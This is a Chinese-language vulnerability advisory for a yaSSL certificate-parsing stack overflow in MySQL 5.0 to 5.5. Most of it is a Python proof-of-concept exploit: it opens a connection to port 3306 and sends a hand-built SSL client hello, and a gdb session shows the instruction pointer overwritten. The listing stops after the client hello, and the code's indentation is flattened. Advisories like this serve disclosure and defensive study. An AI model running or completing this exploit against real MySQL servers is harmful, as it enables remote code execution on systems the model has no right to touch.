受影响系统： MySQL AB MySQL 5.5-ms2
MySQL AB MySQL 5.1.x
MySQL AB MySQL 5.0.x
描述： --------------------------------------------------------------------------------
BUGTRAQ ID: 37943
MySQL是一款使用非常广泛的开放源代码关系数据库系统，拥有各种平台的运行版本。
MySQL所捆绑的yaSSL库在解析畸形证书时存在栈溢出漏洞，如果数据库在编译时加入了对SSL的支持并且配置打开了SSL功能，远程攻击者可能利用此漏洞通过提交畸形的证书内容触发这个溢出，从而在服务器上执行任意指令。
<*来源：Evgeny Legerov （aland@freeradius.org）*>
----------------------------------测试CODE-----------------------------------------
#!/usr/bin/env python
#
# Use this code at your own risk. Never run it against a production system.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
"""
Usage: mysql_overflo1.py localhost
MySQL yassl cert parsing stack overflow
Debug session on 5.5.0-m2
suse11:~ # gdb -q
(gdb) att 5542
Attaching to process 5542
Reading symbols from /var/mysql/libexec/mysqld...cdone.
...
0xffffe430 in __kernel_vsyscall ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xb6bbab90 (LWP 5545)]
0x41424344 in ?? ()
(gdb)
"""
import os
import getopt
import sys
import socket
import time
import telnetlib
import struct
import base64
import random
class theexploit:
def __init__(self,host):
self.host = host
self.port = 3306
def gettcpsock(self):
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
return sock
def int2berlen(self,i):
e=self.int2ber(i, signed=0)
if i <= 127:
return e
else:
l=len(e)
return chr(0x80|l) + e
def int2ber(self,i, signed=1):
encoded=''''
while ((signed and (i>127 or i<-128))
or (not signed and (i>255))):
encoded=chr(i%256)+encoded
i=i>>8
encoded=chr(i%256)+encoded
return encoded
def big_endian_24(self, length):
l1 = (length & 0xff0000) >> 16;
l2 = (length & 0xff00) >> 8;
l3 = length & 0xff;
size = chr(l1) + chr(l2) + chr(l3)
return size
def attack_mysql(self):
sock = self.gettcpsock()
sock.connect((self.host, self.port))
#sock.set_timeout(30.0)
print "press any key"
sys.stdin.readline()
s=sock.recv(8000)
print s
s ="\x20\x00\x00\x01\x85\xae\x03\x00\x00\x00\x00\x01\x08\x00\x00\x00"
s+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
s+="\x00\x00\x00\x00"
s+="\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
s+="\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
s+="\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
s+="\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
s+="\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
s+="\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
s+="\x00\x03\x02\x01\x00"
sock.sendall(s)
print "Sent SSL_CLIENT_HELLO"
